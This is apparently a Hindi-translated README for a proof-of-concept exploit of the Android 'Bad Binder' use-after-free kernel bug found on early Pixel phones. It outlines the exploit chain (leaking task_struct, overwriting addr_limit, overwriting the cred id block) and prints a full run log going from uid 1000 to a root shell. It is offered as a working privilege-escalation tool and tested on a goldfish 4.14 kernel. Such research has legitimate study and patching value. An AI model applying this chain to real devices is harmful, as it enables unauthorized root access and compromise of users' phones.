
प्रारंभिक Google Pixel फोनों में पाई गई Android कमजोरी Bad Binder के लिए पूर्ण एक्सप्लॉइट।
@wired0ut द्वारा लिखित Android में Bad Binder भेद्यता का शोषण।
यह task_struct को लीक करने के लिए UAF का दुरुपयोग करता है, फिर addr_limit को ओवरराइट करता है और cred में id ब्लॉक को ओवरराइट करके विशेषाधिकारों को बढ़ाता है।
शोध और शोषण के पूरे प्रवाह को यहाँ (3 भागों की श्रृंखला) पाया जा सकता है।
इसे goldfish एंड्रॉइड कर्नेल (arm64), संस्करण 4.14 पर, पैच को पुनः प्रस्तुत करके परीक्षण किया गया था।
चलाने का उदाहरण:
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] पहले चरण का शोषण शुरू कर रहे हैं; task_struct लीक...
[!] `binder_thread` और `binder_proc` बनाया गया...
[!] binder_thread की प्रतीक्षा को `epoll_entry` में जोड़ा गया...
[!] रुकावट के लिए पाइप भर रहे हैं...
[!] ओवरराइट किए जाने वाले iovec भर रहे हैं...
[!] अवरुद्ध अवस्था में प्रवेश कर रहे हैं...
[!] UAF ट्रिगर कर रहे हैं...
[!] अवरुद्ध अवस्था से बाहर निकल गए, इसका मतलब है कि हमने लटकने से बचने के लिए संकेत दिया।
[*] लीक हुआ task_struct @ 0xffffffc0fb3f0d80
[*] सफलतापूर्वक task_struct ptr लीक हुआ, अब addr_limit ओवरराइट कर रहे हैं...
[!] iovec इटरेटर को 12वें तक बढ़ाने के लिए सॉकेट पर 1 बाइट प्री-लिख रहे हैं...
[!] `binder_thread` और `binder_proc` बनाया गया...
[!] binder_thread की प्रतीक्षा को `epoll_entry` में जोड़ा गया...
[!] क्राफ्टेड iovecs के साथ msghdr बना रहे हैं...
[!] recvmsg(...) में प्रवेश कर रहे हैं, UAF तक अवरुद्ध रहना चाहिए...
[!] UAF ट्रिगर कर रहे हैं...
[!] addr_limit को 0xffffffc0fb3f0d88 पर 0xfffffffffffffffe से ओवरराइट कर रहे हैं
[*] addr_limit ओवरराइट हो गया, cred ptr लीक कर रहे हैं @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] cred में पूरे id ब्लॉक को 0xffffffc0fa45a304 से 0xffffffc0fa45a324 तक ओवरराइट कर रहे हैं
[*] अब आप r00t हो गए हैं...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
किसी भी अधिक जानकारी या पूछताछ के लिए, मुझसे संपर्क करें।